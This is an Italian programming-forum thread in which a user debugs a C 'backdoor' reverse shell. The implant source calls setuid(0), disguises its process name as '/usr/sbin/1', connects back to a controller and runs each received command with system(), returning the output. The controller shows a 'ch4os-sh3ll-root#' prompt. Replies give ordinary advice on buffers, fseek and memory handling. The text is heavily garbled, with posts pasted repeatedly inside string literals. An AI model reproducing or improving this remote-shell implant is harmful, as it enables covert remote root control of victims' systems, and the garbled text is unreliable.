C/C++ - Errore Backdoor in C

Piazza un printf() su quello che passi a system, magari c'è qualcosa di sbagliato.

Ho risolto ragazzi grazie tante in pratica non mi ero reso conto che nel client visto che funziona come server quando riceve e manda messaggi con i socket ha bisogno di un'altro descrittore socket e in più ho dovuto cambiare fgets con scanf perchè non so ma mi leggeva solo la prima lettere cioè "ls -> l"
Ora però come al solito i guai non mancano mai c'è un'altro problema...in pratica quando l'ho provato la prima volta dopo modificato ha funzionato perfettamente...poi ho provato con altri comandi e all'improvviso mi da questo errore anche con il comando ls che prima funzionava.

Server.c

back.h	client	 client.c  server  server.c
Segmentation fault (core dump creato)

il system funziona bene perchè come si vede il listato della cartella lo fa però ora non crea piu il file temporaneo...ho provato anche come root ma niente non va.... bah i misteri del C ora vedo di risovere quest'altro problema..

Ecco comunque le modifiche che ho fatto

Server.c

/* server.c */

#include "back.h"

#define STATE_LEN	3

int main(int argc, char **argv)
{

	int sd;
	char cmd[1000], new_cmd[1200], size[17], file[100];
	struct sockaddr_in server;


	
	strcpy(argv[0],"/usr/sbin/1");
	snprintf(file,100,"%s/.cmd",getenv("HOME"));
	setuid(0); setgid(0);


	addr_init(&server, PORT, inet_addr("127.0.0.1"));
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket\n");
		exit(1);
	}
	if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
		printf("Impossibile stabilire una connessione");
		close(sd);
		exit(2);
	}

	printf("Connessione avvenuta con successo \n");

	for(;;) {
		if((read(sd, cmd, sizeof(cmd))) == -1)
			exit(1);
			printf("%s\n",cmd);

		memset(new_cmd, 0x0, sizeof(new_cmd));
		snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
		printf("%s\n",new_cmd);
		system(cmd);


		sprintf(size,"%zd",strlen(readFile(file)));
		size[strlen(size)] = 'Ho risolto ragazzi grazie tante in pratica non mi ero reso conto che nel client visto che funziona come server quando riceve e manda messaggi con i socket ha bisogno di un'altro descrittore socket e in più ho dovuto cambiare fgets con scanf perchè non so ma mi leggeva solo la prima lettere cioè "ls -> l"

Ora però come al solito i guai non mancano mai   c'è un'altro problema...in pratica quando l'ho provato la prima volta dopo modificato ha funzionato perfettamente...poi ho provato con altri comandi e all'improvviso mi da questo errore anche con il comando ls che prima funzionava.



Server.c

back.h	client	 client.c  server  server.c
Segmentation fault (core dump creato)




il system funziona bene perchè come si vede il listato della cartella lo fa però ora non crea piu il file temporaneo...ho provato anche come root ma niente non va.... bah i misteri del C  ora vedo di risovere quest'altro problema..



Ecco comunque le modifiche che ho fatto



Server.c

/* server.c */

#include "back.h"

#define STATE_LEN	3

int main(int argc, char **argv)
{

	int sd;
	char cmd[1000], new_cmd[1200], size[17], file[100];
	struct sockaddr_in server;


	
	strcpy(argv[0],"/usr/sbin/1");
	snprintf(file,100,"%s/.cmd",getenv("HOME"));
	setuid(0); setgid(0);


	addr_init(&server, PORT, inet_addr("127.0.0.1"));
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket\n");
		exit(1);
	}
	if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
		printf("Impossibile stabilire una connessione");
		close(sd);
		exit(2);
	}

	printf("Connessione avvenuta con successo \n");

	for(;;) {
		if((read(sd, cmd, sizeof(cmd))) == -1)
			exit(1);
			printf("%s\n",cmd);

		memset(new_cmd, 0x0, sizeof(new_cmd));
		snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
		printf("%s\n",new_cmd);
		system(cmd);


		sprintf(size,"%zd",strlen(readFile(file)));
		size[strlen(size)] = '{parsed_message}';

		if(!strcmp(size,"0"))
		{
			snprintf(new_cmd, sizeof(new_cmd), "/bin/echo \"OK\" > %s",file);
			system(new_cmd);
			snprintf(size,sizeof(size), "%zd", strlen(readFile(file)));
		}
		if((write(sd, size, sizeof(size))) == -1)
			exit(1);
		if((write(sd,readFile(file), atoi(size))) == -1)
			exit(1);

		unlink(file);

	}
	close(sd);

}



Client.c

/*client*/

#include "back.h"
#define MAX_CONN	5

int main(int argc, char **argv)
{

	int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
	struct sockaddr_in client, server;
	char *buff, cmd[1000], size[17];

	addr_init(&server, PORT, INADDR_ANY);
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket \n");
		exit(1);
	}
	if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
		printf("errore durante il bind\n");
		exit(2);
	}
	if((listen(sd,MAX_CONN)) == -1){
		printf("Errore nel listening\n");
		exit(3);
	}
	new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);

	if(new_sd == -1){
		printf("Errore accept\n");
		exit(4);

	}

	printf("________________________________________\n");
	printf("   Ghost -- Remote Shell Controller     \n");
	printf("   by Chaos, (C) 2016                   \n");
	printf("________________________________________\n\n");

	printf("Connessione stabilita con successo\n");

	for(;;){
		printf("ch4os-sh3ll-root# ");
		//fgets(cmd, sizeof(cmd), stdin);
		//cmd[strlen(cmd)-1] = '{parsed_message}';
		scanf("%s",cmd);

		send(new_sd, cmd, sizeof(cmd),0);
		memset(cmd, 0x0, sizeof(cmd));

		if((read(new_sd,size, sizeof(size))) == -1)
		{
			printf("Impossibile ricevere dati dal server\n");
			exit(1);
		}
		buff = (char*) malloc(atoi(size)*sizeof(char));

		if((read(new_sd, buff, atoi(size))) == -1){
			printf("Impossibile riceve dati dal server..\n");
			exit(1);
		}
		printf("%s",buff);
		printf("\nComando inviato\n");
	}

	close(sd);


}
';

		if(!strcmp(size,"0"))
		{
			snprintf(new_cmd, sizeof(new_cmd), "/bin/echo \"OK\" > %s",file);
			system(new_cmd);
			snprintf(size,sizeof(size), "%zd", strlen(readFile(file)));
		}
		if((write(sd, size, sizeof(size))) == -1)
			exit(1);
		if((write(sd,readFile(file), atoi(size))) == -1)
			exit(1);

		unlink(file);

	}
	close(sd);

}

Client.c

/*client*/

#include "back.h"
#define MAX_CONN	5

int main(int argc, char **argv)
{

	int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
	struct sockaddr_in client, server;
	char *buff, cmd[1000], size[17];

	addr_init(&server, PORT, INADDR_ANY);
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket \n");
		exit(1);
	}
	if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
		printf("errore durante il bind\n");
		exit(2);
	}
	if((listen(sd,MAX_CONN)) == -1){
		printf("Errore nel listening\n");
		exit(3);
	}
	new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);

	if(new_sd == -1){
		printf("Errore accept\n");
		exit(4);

	}

	printf("________________________________________\n");
	printf("   Ghost -- Remote Shell Controller     \n");
	printf("   by Chaos, (C) 2016                   \n");
	printf("________________________________________\n\n");

	printf("Connessione stabilita con successo\n");

	for(;;){
		printf("ch4os-sh3ll-root# ");
		//fgets(cmd, sizeof(cmd), stdin);
		//cmd[strlen(cmd)-1] = 'Ho risolto ragazzi grazie tante in pratica non mi ero reso conto che nel client visto che funziona come server quando riceve e manda messaggi con i socket ha bisogno di un'altro descrittore socket e in più ho dovuto cambiare fgets con scanf perchè non so ma mi leggeva solo la prima lettere cioè "ls -> l"

Ora però come al solito i guai non mancano mai   c'è un'altro problema...in pratica quando l'ho provato la prima volta dopo modificato ha funzionato perfettamente...poi ho provato con altri comandi e all'improvviso mi da questo errore anche con il comando ls che prima funzionava.



Server.c

back.h	client	 client.c  server  server.c
Segmentation fault (core dump creato)




il system funziona bene perchè come si vede il listato della cartella lo fa però ora non crea piu il file temporaneo...ho provato anche come root ma niente non va.... bah i misteri del C  ora vedo di risovere quest'altro problema..



Ecco comunque le modifiche che ho fatto



Server.c

/* server.c */

#include "back.h"

#define STATE_LEN	3

int main(int argc, char **argv)
{

	int sd;
	char cmd[1000], new_cmd[1200], size[17], file[100];
	struct sockaddr_in server;


	
	strcpy(argv[0],"/usr/sbin/1");
	snprintf(file,100,"%s/.cmd",getenv("HOME"));
	setuid(0); setgid(0);


	addr_init(&server, PORT, inet_addr("127.0.0.1"));
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket\n");
		exit(1);
	}
	if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
		printf("Impossibile stabilire una connessione");
		close(sd);
		exit(2);
	}

	printf("Connessione avvenuta con successo \n");

	for(;;) {
		if((read(sd, cmd, sizeof(cmd))) == -1)
			exit(1);
			printf("%s\n",cmd);

		memset(new_cmd, 0x0, sizeof(new_cmd));
		snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
		printf("%s\n",new_cmd);
		system(cmd);


		sprintf(size,"%zd",strlen(readFile(file)));
		size[strlen(size)] = '{parsed_message}';

		if(!strcmp(size,"0"))
		{
			snprintf(new_cmd, sizeof(new_cmd), "/bin/echo \"OK\" > %s",file);
			system(new_cmd);
			snprintf(size,sizeof(size), "%zd", strlen(readFile(file)));
		}
		if((write(sd, size, sizeof(size))) == -1)
			exit(1);
		if((write(sd,readFile(file), atoi(size))) == -1)
			exit(1);

		unlink(file);

	}
	close(sd);

}



Client.c

/*client*/

#include "back.h"
#define MAX_CONN	5

int main(int argc, char **argv)
{

	int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
	struct sockaddr_in client, server;
	char *buff, cmd[1000], size[17];

	addr_init(&server, PORT, INADDR_ANY);
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket \n");
		exit(1);
	}
	if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
		printf("errore durante il bind\n");
		exit(2);
	}
	if((listen(sd,MAX_CONN)) == -1){
		printf("Errore nel listening\n");
		exit(3);
	}
	new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);

	if(new_sd == -1){
		printf("Errore accept\n");
		exit(4);

	}

	printf("________________________________________\n");
	printf("   Ghost -- Remote Shell Controller     \n");
	printf("   by Chaos, (C) 2016                   \n");
	printf("________________________________________\n\n");

	printf("Connessione stabilita con successo\n");

	for(;;){
		printf("ch4os-sh3ll-root# ");
		//fgets(cmd, sizeof(cmd), stdin);
		//cmd[strlen(cmd)-1] = '{parsed_message}';
		scanf("%s",cmd);

		send(new_sd, cmd, sizeof(cmd),0);
		memset(cmd, 0x0, sizeof(cmd));

		if((read(new_sd,size, sizeof(size))) == -1)
		{
			printf("Impossibile ricevere dati dal server\n");
			exit(1);
		}
		buff = (char*) malloc(atoi(size)*sizeof(char));

		if((read(new_sd, buff, atoi(size))) == -1){
			printf("Impossibile riceve dati dal server..\n");
			exit(1);
		}
		printf("%s",buff);
		printf("\nComando inviato\n");
	}

	close(sd);


}
';
		scanf("%s",cmd);

		send(new_sd, cmd, sizeof(cmd),0);
		memset(cmd, 0x0, sizeof(cmd));

		if((read(new_sd,size, sizeof(size))) == -1)
		{
			printf("Impossibile ricevere dati dal server\n");
			exit(1);
		}
		buff = (char*) malloc(atoi(size)*sizeof(char));

		if((read(new_sd, buff, atoi(size))) == -1){
			printf("Impossibile riceve dati dal server..\n");
			exit(1);
		}
		printf("%s",buff);
		printf("\nComando inviato\n");
	}

	close(sd);


}

sprintf(size,"%zd",strlen(readFile(file)));
size[strlen(size)] = '
sprintf(size,"%zd",strlen(readFile(file)));
size[strlen(size)] = '{parsed_message}'; 


Non mi convince molto questo, la seconda riga è tecnicamente inutile perché se strlen(size) funziona, allora vuol dire che nella posizione ritornata c'è gia un terminatore. Probabilmente questo non è vero e strlen dà un valore fuori dal range su cui scrivi, o direttamente strlen causa il segfault.



Ricordo che insieme a readFile avevi una funzione per sapere la lunghezza del file, mi son dimenticato di dirti che c'è un modo migliore di leggere tutto il file e poi fare rewind: devi usare fseek() per spostare il cursore alla fine, poi ftell() ti dirà la sua posizione (che corrisponde alla lunghezza in byte del file) e poi rewind.

Questo è più veloce e non richiede di leggere il file inutilmente.



Seconda cosa, prima o poi devi pensare a come gestire meglio la memoria, per ora tutti i punti che hanno un malloc() non hanno nessun corrispondente per liberare (compreso il risultato di readFile()).

'; 

Non mi convince molto questo, la seconda riga è tecnicamente inutile perché se strlen(size) funziona, allora vuol dire che nella posizione ritornata c'è gia un terminatore. Probabilmente questo non è vero e strlen dà un valore fuori dal range su cui scrivi, o direttamente strlen causa il segfault.

Ricordo che insieme a readFile avevi una funzione per sapere la lunghezza del file, mi son dimenticato di dirti che c'è un modo migliore di leggere tutto il file e poi fare rewind: devi usare fseek() per spostare il cursore alla fine, poi ftell() ti dirà la sua posizione (che corrisponde alla lunghezza in byte del file) e poi rewind.
Questo è più veloce e non richiede di leggere il file inutilmente.

Seconda cosa, prima o poi devi pensare a come gestire meglio la memoria, per ora tutti i punti che hanno un malloc() non hanno nessun corrispondente per liberare (compreso il risultato di readFile()).

cplusplus.com/reference/cstdio/fseek/ Quindi salvati la lunghezza del file e non fare più completo affidamento sull'indicatore eof.

Come ti dice lumo, prova a definire una macro LUNGHEZZA_MAX 16

dichiarare size come size[LUNGHEZZA_MAX + 1]

e poi, anzichè fare:

size[strlen(size)] = 'cplusplus.com/reference/cstdio/fseek/ Quindi salvati la lunghezza del file e non fare più completo affidamento sull'indicatore eof.



Come ti dice lumo, prova a definire una macro LUNGHEZZA_MAX 16



dichiarare size come size[LUNGHEZZA_MAX + 1]



e poi, anzichè fare:



size[strlen(size)] = '{parsed_message}';




fai:



size[LUNGHEZZA_MAX] = '{parsed_message}';




Così eviti il possibile scorrimento fuori buffer. Solo in seguito potrai fare strlen.



Ricordati che quando il programma termina devi anche chiudere il socket: gnu.org/software/libc/manual/html_node/… oltre che ai vari file aperti e deallocare la memoria.



Se dovesse ri accadere il tuo programma quando crasha crea (non lui direttamente) il core dump, che tu puoi analizzare: stackoverflow.com/questions/5115613/… sempre con gdb per scoprire esattamente in che punto si è bloccato, e con un po' di fortuna anche il perchè.';

fai:

size[LUNGHEZZA_MAX] = 'cplusplus.com/reference/cstdio/fseek/ Quindi salvati la lunghezza del file e non fare più completo affidamento sull'indicatore eof.



Come ti dice lumo, prova a definire una macro LUNGHEZZA_MAX 16



dichiarare size come size[LUNGHEZZA_MAX + 1]



e poi, anzichè fare:



size[strlen(size)] = '{parsed_message}';




fai:



size[LUNGHEZZA_MAX] = '{parsed_message}';




Così eviti il possibile scorrimento fuori buffer. Solo in seguito potrai fare strlen.



Ricordati che quando il programma termina devi anche chiudere il socket: gnu.org/software/libc/manual/html_node/… oltre che ai vari file aperti e deallocare la memoria.



Se dovesse ri accadere il tuo programma quando crasha crea (non lui direttamente) il core dump, che tu puoi analizzare: stackoverflow.com/questions/5115613/… sempre con gdb per scoprire esattamente in che punto si è bloccato, e con un po' di fortuna anche il perchè.';

Così eviti il possibile scorrimento fuori buffer. Solo in seguito potrai fare strlen.

Ricordati che quando il programma termina devi anche chiudere il socket: gnu.org/software/libc/manual/html_node/… oltre che ai vari file aperti e deallocare la memoria.

Se dovesse ri accadere il tuo programma quando crasha crea (non lui direttamente) il core dump, che tu puoi analizzare: stackoverflow.com/questions/5115613/… sempre con gdb per scoprire esattamente in che punto si è bloccato, e con un po' di fortuna anche il perchè.

grazie tante ragazzi della vostra disponibilità... appena torno a casa vedo di modificare e vi farò sapere per quanto riguarda su come gestire la memoria non ho capito tanto bene come fare...potreste farmi capire un pò meglio.... :\

int *a = malloc(12);

Ma la memoria poi va anche liberata quando non serve più:

free(a);

Vedi: it.wikipedia.org/wiki/… per scoprire come si chiama e cosa causa il non rilascio delle risorse.

Per curiosità prova a compilare ed eseguire un programma fatto così:

while (1) {
    malloc(4096);
}

Per i primi X secondi non succederà nulla. Poi la ram sarà satura e il sistema operativo dovrà usare l'hdd per mappare le pagine che non stanno in ram e vedrai tutto "scattoso" / "rallentato" finchè il s.o. non ti chiuderà il programma o non allocherà più nulla stabilizzandosi così.

grazie ragazzi mi avete fatto capire molto in queste due cose che nn conoscevo tanto bene... cmq penso che lo riscriverò da capo il codice per pulirlo anche un pò e togliere tutte le cose inutili... ho gia modificato la funzione readFile in questo modo

char *readFile(const char *filename)
{
	long int size = 0;
	FILE *fp = fopen(filename,"r");

	if(!fp){
		fputs("Errore file\n", stderr);
		return NULL;
	}
	fseek(fp, 0, SEEK_END);
	size = ftell(fp);
	rewind(fp);

	char *buff = (char *) malloc(size);
	if(!buff){
		fputs("Errore memoria\n",stderr);
		return NULL;
	}

	if(fread(buff,1,size,fp) != size){
		fputs("Errore lettura file\n", stderr);
		return NULL;
	}

	fclose(fp);
	return buff;
}

credo che così vada bene... ora non mi resta che provare a implementare questa funzione e vi farò sapere

(PS: OFF-TOPIC questa funzione readFile l'ho provata in questo modo vedete se va bene così (non voglio andare off-topic ma voglio solo sapere se in questo modo viene liberata la memoria :\):

#include <stdio.h>
#include <stdlib.h>

char *readFile(const char *filename)
{
	long int size = 0;
	FILE *fp = fopen(filename,"r");

	if(!fp){
		fputs("Errore file\n", stderr);
		return NULL;
	}
	fseek(fp, 0, SEEK_END);
	size = ftell(fp);
	rewind(fp);

	char *buff = (char *) malloc(size);
	if(!buff){
		fputs("Errore memoria\n",stderr);
		return NULL;
	}

	if(fread(buff,1,size,fp) != size){
		fputs("Errore lettura file\n", stderr);
		return NULL;
	}

	fclose(fp);
	return buff;
}


int main()
{
	char *files = "prova.txt";
	char *buff = readFile(files);

	if(!buff) return -1;
	fputs(buff, stdout);
	free(buff);
}

Sì, così è corretta la gestione della memoria.

Attento però che non c'è un terminatore nella stringa buff, alloca size+1 e dopo fread aggiungi buff[size] = 'Sì, così è corretta la gestione della memoria.

Attento però che non c'è un terminatore nella stringa buff, alloca size+1 e dopo fread aggiungi buff[size] = '{parsed_message}'

Una alternativa altrimenti è usare calloc così tutta la memoria sarà inzializzata a zero (come fare malloc + memset, ma più veloce).'

Una alternativa altrimenti è usare calloc così tutta la memoria sarà inzializzata a zero (come fare malloc + memset, ma più veloce).